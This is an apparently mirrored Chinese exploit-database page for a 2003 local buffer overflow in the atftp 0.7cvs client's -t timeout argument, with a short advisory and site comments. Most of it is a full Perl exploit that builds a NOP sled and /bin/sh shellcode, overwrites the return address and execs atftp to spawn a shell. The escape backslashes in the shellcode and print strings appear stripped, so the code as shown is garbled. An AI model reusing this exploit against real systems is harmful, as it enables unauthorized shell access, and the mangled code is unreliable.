ATFTP 0.7 – Timeout Command Line Argument Local Buffer Overflow
漏洞ID | 1053938 | 漏洞类型 | |
发布时间 | 2003-06-06 | 更新时间 | 2003-06-06 |
CVE编号 | N/A |
CNNVD-ID | N/A |
漏洞平台 | Linux | CVSS评分 | N/A |
|漏洞详情
漏洞细节尚未披露
|漏洞EXP
source: http://www.securityfocus.com/bid/7902/info
atftp is prone to a locally exploitable buffer overflow condition. This issue is due to insufficient bounds checking performed on input supplied to the command line parameter (-t) for "timeout".
Local attackers may exploit this condition to execute arbitrary instructions.
It should be noted that although this vulnerability has been reported to affect atftp version 0.7cvs, other versions might also be vulnerable.
#!/usr/bin/perl
# Date : 6 June 2003
#
# expl-atftp.pl : Local buffer overflow exploit for
# atftp-0.7cvs (client)
#
# Exploit tested on RedHat 8
#
# [jlanthea@localhost ]$ perl expl-atftp.pl
# Atftp local exploit by jlanthea - 2003
# The new return address: 0xbffffb20
# Usage: option <option name> [option value]
# option disable <option name>
# sh-2.05b$
#
# Author : Julien LANTHEA
# Mail : [email protected]
# www : jlanthea.net
#
# Syntax :
# perl expl-atftp.pl <offset> # works for me with -50
$vuln="/usr/sbin/atftp";
$shellcode =
"xebx1dx5ex29xc0x88x46x07x89x46x0cx89x76x08xb0".
"x0bx87xf3x8dx4bx08x8dx53x0cxcdx80x29xc0x40xcd".
"x80xe8xdexffxffxff/bin/sh";
$offset = "0";
if(@ARGV == 1) { $offset = $ARGV[0]; }
$nop = "x90";
$esp = 0xbffffb20;
for ($i = 0; $i < (273 - (length($shellcode)) - 4); $i++) {
$buffer .= "$nop";
}
$buffer .= $shellcode;
$buffer .= pack('l', ($esp + $offset));
print("Atftp local exploit by jlanthea - 2003n");
print("New return address: 0x",sprintf('%lx',($esp + $offset)),"n");
exec("$vuln -t '$buffer'");
相关推荐: 3Com SuperStack 3 Firewall – Content Filter Bypassing
3Com SuperStack 3 Firewall – Content Filter Bypassing 漏洞ID 1053740 漏洞类型 发布时间 2003-03-05 更新时间 2003-03-05 CVE编号 N/A CNNVD-ID N/A 漏洞平…
© 版权声明
文章版权归作者所有,未经允许请勿转载。
THE END
喜欢就支持一下吧
恐龙抗狼扛1年前0
kankan啊啊啊啊3年前0
66666666666666